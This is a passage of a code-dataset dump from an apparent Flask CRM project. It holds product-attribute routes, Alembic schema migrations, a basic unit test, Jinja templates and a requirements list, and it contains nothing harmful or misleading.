return render_template('product/category/edit.html', category=category)\n\n\[email protected]('/feature/index')\ndef feature_index():\n features = load_features()\n return render_template('product/feature/index.html', features=features)\n\n\[email protected]('/feature/new', methods=['GET', 'POST'])\ndef feature_new():\n if request.method == 'POST':\n feature_names = request.form.getlist('names[]')\n for name in feature_names:\n if len(name) == 0:\n flash('Please input correct names', 'danger')\n return render_template('product/feature/new.html')\n feature_infos = []\n for name in feature_names:\n feature_infos.append({'name': name, 'description': name})\n data = {\n 'feature_infos': feature_infos\n }\n response = create_feature(data)\n if response.status_code == 201:\n flash('产品属性创建成功', 'success')\n else:\n flash('产品属性创建失败', 'danger')\n return redirect(url_for('product.feature_index'))\n return render_template('product/feature/new.html')\n\n\[email protected]('/feature/<int:id>')\ndef feature_show(id):\n feature = load_feature(id)\n return render_template('product/feature/show.html', feature=feature)\n\n\[email protected]('/feature/<int:id>/edit', methods=['GET', 'POST'])\ndef feature_edit(id):\n feature = load_feature(id)\n if request.method == 'POST':\n data = {\n 'name': request.form.get('name'),\n 'description': request.form.get('description')\n }\n response = update_feature(feature.get('feature_id'), data=data)\n if response.status_code == 200:\n flash('产品属性修改成功', 'success')\n else:\n flash('产品属性修改失败', 'danger')\n return redirect(url_for('product.feature_index'))\n return render_template('product/feature/edit.html', feature=feature)\n\n\[email protected]('/feature/<int:id>/delete')\ndef feature_delete(id):\n response = delete_feature(id)\n if response.status_code == 200:\n flash('产品属性删除成功', 'success')\n else:\n flash('产品属性删除失败', 'danger')\n return redirect(url_for('product.feature_index'))\n\n\[email protected]('/option/new/<int:feature_id>', methods=['GET', 'POST'])\ndef option_new(feature_id):\n if request.method == 'POST':\n option_names = request.form.getlist('names[]')\n for name in option_names:\n if len(name) == 0:\n flash('Please input correct names', 'danger')\n return render_template('product/option/new.html', feature_id=feature_id)\n data = {\n 'sku_feature_id': str(feature_id),\n 'names': option_names\n }\n response = create_option(data)\n if response.status_code == 201:\n flash('产品属性值创建成功', 'success')\n else:\n flash('产品属性值创建失败', 'danger')\n return redirect(url_for('product.feature_index'))\n feature = load_feature(feature_id)\n return render_template('product/option/new.html', feature=feature)\n\n\[email protected]('/option/<int:id>/edit', methods=['GET', 'POST'])\ndef option_edit(id):\n if request.method == 'POST':\n data = {'name': request.form.get('name')}\n response = update_option(id, data=data)\n if response.status_code == 200:\n flash('产品属性值修改成功', 'success')\n else:\n flash('产品属性值修改失败', 'danger')\n return redirect(url_for('product.feature_index'))\n feature = load_feature(request.args.get('feature_id'))\n return render_template('product/option/edit.html', option_id=id, feature=feature)\n\n\[email protected]('/option/<int:id>/delete')\ndef option_delete(id):\n response = delete_option(id)\n if response.status_code == 200:\n flash('产品属性值删除成功', 'success')\n else:\n flash('产品属性值删除失败', 'danger')\n return redirect(url_for('product.feature_index'))\n" }, { "alpha_fraction": 0.6699386239051819, "alphanum_fraction": 0.691411018371582, "avg_line_length": 39.75, "blob_id": "137f79cce96aa08d168e53d0ee98dee11dcefbe6", "content_id": "c430721d29ba004d3b43d1039d38454529b1c91d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1630, "license_type": "no_license", "max_line_length": 105, "num_lines": 40, "path": "/migrations/versions/e334c53b9bba_add_columns_to_tracking_info.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add_columns_to_tracking_info\n\nRevision ID: e334c53b9bba\nRevises: 901a4674cb12\nCreate Date: 2017-03-08 10:19:02.648204\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'e334c53b9bba'\ndown_revision = '901a4674cb12'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('tracking_info', sa.Column('delivery_man_name', sa.String(length=200), nullable=True))\n op.add_column('tracking_info', sa.Column('logistics_company', sa.String(length=200), nullable=True))\n op.add_column('tracking_info', sa.Column('production_ends_at', sa.DateTime(), nullable=True))\n op.add_column('tracking_info', sa.Column('production_manager', sa.String(length=200), nullable=True))\n op.add_column('tracking_info', sa.Column('production_starts_at', sa.DateTime(), nullable=True))\n op.add_column('tracking_info', sa.Column('qrcode_image', sa.String(length=200), nullable=True))\n op.add_column('tracking_info', sa.Column('qrcode_token', sa.String(length=128), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('tracking_info', 'qrcode_token')\n op.drop_column('tracking_info', 'qrcode_image')\n op.drop_column('tracking_info', 'production_starts_at')\n op.drop_column('tracking_info', 'production_manager')\n op.drop_column('tracking_info', 'production_ends_at')\n op.drop_column('tracking_info', 'logistics_company')\n op.drop_column('tracking_info', 'delivery_man_name')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6303418874740601, "alphanum_fraction": 0.6442307829856873, "avg_line_length": 25.77142906188965, "blob_id": "e839182bef09b88cbe68ba485f55813268cbb458", "content_id": "2969a5f7ca50e3416e57baac60988ea837197b0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 936, "license_type": "no_license", "max_line_length": 55, "num_lines": 35, "path": "/tests/test.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport unittest\nfrom flask import request\nfrom application import app\nimport json\n\nclass HttpTest(unittest.TestCase):\n def setUp(self):\n self.app = app.test_client()\n\n def test_get_root_redirect(self):\n response = self.app.get('/')\n self.assertEqual(response.status_code, 302)\n\n def test_get_mobile_index(self):\n response = self.app.get('/mobile/index')\n self.assertEqual(response.status_code, 200)\n\n def test_get_admin_redirect(self):\n response = self.app.get('/admin')\n self.assertEqual(response.status_code, 302)\n\n def test_get_content_index(self):\n response = self.app.get('/content/title/index')\n self.assertEqual(response.status_code, 200)\n\nclass HelperTest(unittest.TestCase):\n def setUp(self):\n self.app = app.test_client()\n\n def test_clip_image(self):\n pass\n\nif __name__ == '__main__':\n unittest.main()" }, { "alpha_fraction": 0.5814447402954102, "alphanum_fraction": 0.5906515717506409, "avg_line_length": 37.27777862548828, "blob_id": "327d6beec3a2d9d09440b3f71c7c564447722fcc", "content_id": "541a3897f3bbad9064786c5197202d1a156303b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1420, "license_type": "no_license", "max_line_length": 145, "num_lines": 36, "path": "/application/templates/mobile/product.html", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "{% extends 'mobile_base.html' %}\r\n{% from 'macros/mobile_partial.html' import header %}\r\n{% block content %}\r\n{{ header('产品展示') }}\r\n\r\n<div class=\"main-content\">\r\n\r\n\t<div class=\"nav-tab clearfix\">\r\n\t{% for category in categories %}\r\n\t\t<a id=\"category_{{ category.get('category_id') }}\" href=\"#p_category_{{ category.get('category_id') }}\">{{ category.get('category_name') }}</a>\r\n\t{% endfor %}\r\n\t</div>\r\n\t<div class=\"module-1\">\r\n\t{% for category in categories %}\r\n\t\t<div class=\"sub-module-1 clearfix\" id=\"p_category_{{ category.get('category_id') }}\">\r\n\t\t\t<p class=\"module-title\">{{ category.get('category_name') }}</p>\r\n\t\t\t<div class=\"divider2\"></div>\r\n\t\t\t{% for product in products_hash.get(category.get('category_id'))|sort(attribute='name') %}\r\n\t\t\t\t<a href=\"{{ url_for('mobile_product_show', id = product.get('product_id')) }}\" \r\n\t\t\t\t\tclass=\"col-6-gap product top-gap-1 {% if loop.index>4 %}over-p hidden{% endif %}\">\r\n\t\t\t\t\t<img class=\"full-img\" src=\"{{ product.get('images')[0] or '/static/images/alt.jpg' }}\">\r\n\t\t\t\t\t<p class=\"text-center\">{{ product.get('name') }}</p>\r\n\t\t\t\t\t<div class=\"product-divider\"></div>\r\n\t\t\t\t</a>\r\n\t\t\t\t{{ loop.cycle(\"\",\"<div class='clearfix'></div>\"|safe) }}\r\n\t\t\t{% endfor %}\r\n\t\t\t<div class=\"text-right pull-left top-gap-1 col-12\">\r\n\t\t\t\t<a class=\"much-more text-sm btn btn-default\" style=\"font-weight:700\"></a>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t{% endfor %}\r\n\r\n\t</div>\r\n</div>\r\n\r\n{% endblock %}" }, { "alpha_fraction": 0.6512589454650879, "alphanum_fraction": 0.6715520620346069, "avg_line_length": 39.318180084228516, "blob_id": "5a18c887eea6df0f1d440baba906e9095cac3090", "content_id": "e138d47ae5bab184b3002c139dda69443185eca3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2661, "license_type": "no_license", "max_line_length": 74, "num_lines": 66, "path": "/migrations/versions/bb09c512cfd0_create_tracking_info_and_design_application.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"create_tracking_info_and_design_application\n\nRevision ID: bb09c512cfd0\nRevises: a4ef5d3cfd2a\nCreate Date: 2017-03-04 21:18:09.511320\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'bb09c512cfd0'\ndown_revision = 'a4ef5d3cfd2a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('tracking_info',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('contract_no', sa.String(length=50), nullable=True),\n sa.Column('contract_date', sa.DateTime(), nullable=True),\n sa.Column('receiver_name', sa.String(length=200), nullable=True),\n sa.Column('receiver_tel', sa.String(length=30), nullable=True),\n sa.Column('production_date', sa.DateTime(), nullable=True),\n sa.Column('delivery_date', sa.DateTime(), nullable=True),\n sa.Column('delivery_plate_no', sa.String(length=100), nullable=True),\n sa.Column('delivery_man_tel', sa.String(length=30), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('design_application',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('filing_no', sa.String(length=50), nullable=True),\n sa.Column('status', sa.String(length=50), nullable=True),\n sa.Column('ul_file', sa.String(length=200), nullable=True),\n sa.Column('dl_file', sa.String(length=200), nullable=True),\n sa.Column('applicant_id', sa.Integer(), nullable=True),\n sa.Column('operator_id', sa.Integer(), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['applicant_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('tracking_info_detail',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=200), nullable=True),\n sa.Column('description', sa.String(length=500), nullable=True),\n sa.Column('tracking_info_id', sa.Integer(), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['tracking_info_id'], ['tracking_info.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('tracking_info_detail')\n op.drop_table('design_application')\n op.drop_table('tracking_info')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6407455205917358, "alphanum_fraction": 0.6715938448905945, "avg_line_length": 32.10638427734375, "blob_id": "3674a1cc2940b018c10e6cad8327ed66e2f1045b", "content_id": "23fe8801d1f8b2a8c0c033b2f313618668960f9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1556, "license_type": "no_license", "max_line_length": 72, "num_lines": 47, "path": "/migrations/versions/b96697ddd85b_.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: b96697ddd85b\nRevises: cdc933dc3c56\nCreate Date: 2017-04-01 15:40:44.142760\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'b96697ddd85b'\ndown_revision = 'cdc933dc3c56'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('webpage_describes',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('endpoint', sa.String(length=200), nullable=False),\n sa.Column('method', sa.String(length=4), nullable=True),\n sa.Column('describe', sa.String(length=200), nullable=False),\n sa.Column('validate_flag', sa.Boolean(), nullable=True),\n sa.Column('type', sa.String(length=30), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('authority_operations',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('webpage_id', sa.Integer(), nullable=True),\n sa.Column('role_id', sa.Integer(), nullable=False),\n sa.Column('flag', sa.String(length=10), nullable=True),\n sa.Column('remark', sa.String(length=200), nullable=True),\n sa.Column('time', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['webpage_id'], ['webpage_describes.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('authority_operations')\n op.drop_table('webpage_describes')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6407538056373596, "alphanum_fraction": 0.6902238130569458, "avg_line_length": 27.299999237060547, "blob_id": "105e22d572ea90a6f1b8b83e29fa14ae4703f6b7", "content_id": "d8cb9adf218254cd4dee6e3a3bd42e7aedec5168", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 849, "license_type": "no_license", "max_line_length": 121, "num_lines": 30, "path": "/migrations/versions/33f0e654700f_.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: 33f0e654700f\nRevises: 2d1bf125618d\nCreate Date: 2017-05-02 14:39:53.742110\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '33f0e654700f'\ndown_revision = '2d1bf125618d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('user_infos', 'extra_attributes')\n op.add_column('users', sa.Column('extra_attributes', sa.String(length=10), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('users', 'extra_attributes')\n op.add_column('user_infos', sa.Column('extra_attributes', sa.VARCHAR(length=10), autoincrement=False, nullable=True))\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.4939759075641632, "alphanum_fraction": 0.6919105052947998, "avg_line_length": 15.13888931274414, "blob_id": "2552a969ec0fba08525cc6f9fe9bda707fbabf26", "content_id": "4bfb6efba77dac559ca564a673f3ed4058e122eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 581, "license_type": "no_license", "max_line_length": 24, "num_lines": 36, "path": "/requirements.txt", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "alembic==0.8.10\nappdirs==1.4.0\nastroid==1.4.9\nbcrypt==3.1.3\ncffi==1.9.1\nclick==6.7\nFlask==0.12\nFlask-Bcrypt==0.7.1\nFlask-Cache==0.13.1\nFlask-Login==0.4.0\nFlask-Migrate==2.0.3\nFlask-Script==2.0.5\nFlask-SQLAlchemy==2.1\ngunicorn==19.6.0\nisort==4.2.5\nitsdangerous==0.24\nJinja2==2.9.5\nlazy-object-proxy==1.2.2\nMako==1.0.6\nMarkupSafe==0.23\nmccabe==0.6.1\nolefile==0.44\npackaging==16.8\nPillow==4.0.0\npsycopg2==2.6.2\npycparser==2.17\npylint==1.6.5\npyparsing==2.1.10\npython-editor==1.0.3\nqrcode==5.3\nrequests==2.13.0\nsix==1.10.0\nSQLAlchemy==1.1.5\nWerkzeug==0.11.15\nwrapt==1.10.8\nWTForms==2.1\n" }, { "alpha_fraction": 0.643478274345398, "alphanum_fraction": 0.6753623485565186, "avg_line_length": 23.64285659790039, "blob_id": "b759e3442303797ebb2ca942f407f51ccdfdddae", "content_id": "36b14f73259e3a373ea79d0f4f1942611b6fbe8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 690, "license_type": "no_license", "max_line_length": 99, "num_lines": 28, "path": "/migrations/versions/1bbc1621f6d4_add_extra_attributes_to_user_info.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add extra_attributes to user_info\n\nRevision ID: 1bbc1621f6d4\nRevises: ef83fe89b1ed\nCreate Date: 2017-04-26 15:00:17.054140\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '1bbc1621f6d4'\ndown_revision = 'ef83fe89b1ed'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user_infos', sa.Column('extra_attributes', sa.String(length=10), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('user_infos', 'extra_attributes')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.5937149524688721, "alphanum_fraction": 0.6240179538726807, "avg_line_length": 25.205883026123047, "blob_id": "06b309a708adab59c35035e9a012af73c01ba026", "content_id": "c0f6f3130509f554ad61c14e40a97074e743c3b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 891, "license_type": "no_license", "max_line_length": 65, "num_lines": 34, "path": "/migrations/versions/fc7fc4b255d1_change_production_num_to_float.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"change production_num to float\n\nRevision ID: fc7fc4b255d1\nRevises: 0c39d2c5df1c\nCreate Date: 2017-05-02 10:27:16.805804\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'fc7fc4b255d1'\ndown_revision = '0c39d2c5df1c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('order_contents', 'production_num',\n existing_type=sa.INTEGER(),\n type_=sa.Float(),\n existing_nullable=True)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('order_contents', 'production_num',\n existing_type=sa.Float(),\n type_=sa.INTEGER(),\n existing_nullable=True)\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.606816828250885, "alphanum_fraction": 0.6409007906913757, "avg_line_length": 33.22916793823242, "blob_id": "7e83a6aaada78951b00c2cd3b95a7f2b7c056dbb", "content_id": "ca09710794109cfabc57b37c998a114bcc0787af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1643, "license_type": "no_license", "max_line_length": 80, "num_lines": 48, "path": "/migrations/versions/f4c99095e70c_.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: f4c99095e70c\nRevises: 0c451fc35b86\nCreate Date: 2017-03-29 10:27:16.400605\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'f4c99095e70c'\ndown_revision = '0c451fc35b86'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('wechat_push_msg',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('wechat_msg_id', sa.String(length=100), nullable=True),\n sa.Column('wechat_user_info_id', sa.Integer(), nullable=True),\n sa.Column('push_type', sa.String(length=20), nullable=False),\n sa.Column('push_info', sa.JSON(), nullable=True),\n sa.Column('push_time', sa.DateTime(), nullable=True),\n sa.Column('push_flag', sa.Boolean(), nullable=True),\n sa.Column('push_remark', sa.String(length=200), nullable=True),\n sa.Column('push_times', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['wechat_user_info_id'], ['wechat_user_info.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.alter_column('web_access_log', 'user_agent',\n existing_type=sa.VARCHAR(length=200),\n type_=sa.String(length=500),\n existing_nullable=True)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('web_access_log', 'user_agent',\n existing_type=sa.String(length=500),\n type_=sa.VARCHAR(length=200),\n existing_nullable=True)\n op.drop_table('wechat_push_msg')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6225402355194092, "alphanum_fraction": 0.6270125508308411, "avg_line_length": 33.96875, "blob_id": "b5438f3abc9262edb275ecf7d914c286a2e9fca6", "content_id": "897b3c34404b27708c3f6b57abde1cc5bf396da1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1162, "license_type": "no_license", "max_line_length": 152, "num_lines": 32, "path": "/application/templates/product/option/edit.html", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "{% extends 'pc_base.html' %}\n{% from 'macros/pc_partial.html' import sidebar with context %}\n{% block main_content %}\n\n{{ sidebar(active = 'product') }}\n\n<div class=\"contents\">\n\t<div class=\"widget\">\n\t\t<div class=\"widget_header\">\n\t\t\t<h4 class=\"widget_header_title\"><span class=\"glyphicon glyphicon-th-large\"></span>\n\t\t\t\t&nbsp;&nbsp;&nbsp;<a href=\"{{ url_for('product.feature_index') }}\" class=\"text-muted\">产品属性管理</a> >\n\t\t\t\t<a class=\"text-info\">{{ feature.get('feature_name') }}</a> >\n\t\t\t\t<a>编辑产品属性值</a>\n\t\t\t</h4>\n\t\t</div>\n\n\t\t<form action=\"{{ url_for('product.option_edit', id=option_id, feature_id=feature.get('feature_id')) }}\" method=\"post\">\n\t\t\t<div class=\"widget_contents padding-0 item-wrapper\">\n\t\t\t\t<div class=\"form-item item-template\">\n\t\t\t\t\t<span class=\"form-label\">属性值名称</span>\n\t\t\t\t\t<input class=\"form-input form-control\" name=\"name\" required=\"\"/>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\t<div class=\"text-right top-gap-1\">\n\t\t\t\t<a href=\"{{ url_for('product.feature_index') }}\" class=\"btn btn-default my-btn right-gap-1\">返回</a><button class=\"btn btn-default my-btn\">提交</button>\n\t\t\t</div>\t\t\n\t\t</form>\n\n\t</div>\n</div>\n\n{% endblock %}" }, { "alpha_fraction": 0.6805555820465088, "alphanum_fraction": 0.6944444179534912, "avg_line_length": 23, "blob_id": "7d933bd12e62487db12aff5ab50bcb6c4d53ab0a", "content_id": "8cfd21728f53cfb52e735b7ccfab235239837a8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 72, "license_type": "no_license", "max_line_length": 32, "num_lines": 3, "path": "/application/product/forms.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport wtforms\nfrom wtforms.validators import *\n" }, { "alpha_fraction": 0.6313193440437317, "alphanum_fraction": 0.6769420504570007, "avg_line_length": 26.03333282470703, "blob_id": "a4e981255f5279872e706232252a5191b6a84917", "content_id": "5adfa671f692ee58f9c460dafca7bae00e86c914", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 811, "license_type": "no_license", "max_line_length": 93, "num_lines": 30, "path": "/migrations/versions/e32af8c8d78a_add_sale_contract_to_order.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add sale_contract to order\n\nRevision ID: e32af8c8d78a\nRevises: 9fea66319b4a\nCreate Date: 2017-03-16 21:05:30.065102\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'e32af8c8d78a'\ndown_revision = '9fea66319b4a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('orders', sa.Column('sale_contract', sa.String(length=200), nullable=True))\n op.add_column('orders', sa.Column('sale_contract_id', sa.Integer(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('orders', 'sale_contract_id')\n op.drop_column('orders', 'sale_contract')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6383866667747498, "alphanum_fraction": 0.6898469924926758, "avg_line_length": 24.678571701049805, "blob_id": "9490dd75fee5470d6644378d7faef5b4621775df", "content_id": "7060466c7822d0b0fe4ac6d44009c70e4dc3b414", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 719, "license_type": "no_license", "max_line_length": 106, "num_lines": 28, "path": "/migrations/versions/d80a29ceb22a_add_access_token_to_wechat_access_token.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add_access_token_to_wechat_access_token\n\nRevision ID: d80a29ceb22a\nRevises: 7939e3b94900\nCreate Date: 2017-03-02 09:54:28.650065\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'd80a29ceb22a'\ndown_revision = '7939e3b94900'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('wechat_access_token', sa.Column('access_token', sa.String(length=500), nullable=False))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('wechat_access_token', 'access_token')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6382232904434204, "alphanum_fraction": 0.65897136926651, "avg_line_length": 37.449440002441406, "blob_id": "87e76e9ca0793329df3d4f59b8e4ca4c73f4d2c1", "content_id": "ff70da03f882bdae8dadbeee06730e498b8c6fdd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3422, "license_type": "no_license", "max_line_length": 80, "num_lines": 89, "path": "/migrations/versions/8c795821d12d_add_users_and_company_structure_model.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add users and company structure model\n\nRevision ID: 8c795821d12d\nRevises: 9cc62ef23a49\nCreate Date: 2017-02-22 08:46:51.672290\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '8c795821d12d'\ndown_revision = '9cc62ef23a49'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('department_hierarchies',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=300), nullable=False),\n sa.Column('parent_id', sa.Integer(), nullable=True),\n sa.Column('level_grade', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('resources',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=200), nullable=False),\n sa.Column('description', sa.String(length=400), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('sales_area_hierarchies',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=300), nullable=False),\n sa.Column('parent_id', sa.Integer(), nullable=True),\n sa.Column('level_grade', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('users',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('email', sa.String(length=60), nullable=False),\n sa.Column('nickname', sa.String(length=200), nullable=True),\n sa.Column('user_or_origin', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('user_infos',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=400), nullable=True),\n sa.Column('telephone', sa.String(length=20), nullable=True),\n sa.Column('address', sa.String(length=500), nullable=True),\n sa.Column('title', sa.String(length=200), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('users_and_departments',\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('dep_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['dep_id'], ['department_hierarchies.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], )\n )\n op.create_table('users_and_resources',\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('resource_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['resource_id'], ['resources.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], )\n )\n op.create_table('users_and_sales_areas',\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('sales_area_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['sales_area_id'], ['sales_area_hierarchies.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], )\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('users_and_sales_areas')\n op.drop_table('users_and_resources')\n op.drop_table('users_and_departments')\n op.drop_table('user_infos')\n op.drop_table('users')\n op.drop_table('sales_area_hierarchies')\n op.drop_table('resources')\n op.drop_table('department_hierarchies')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6055327653884888, "alphanum_fraction": 0.6137295365333557, "avg_line_length": 28.280000686645508, "blob_id": "f796450da3afd7a6739ae48280c9581c9e710723", "content_id": "4bf62c9b3a0086a7703927ab735da819d789c9d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 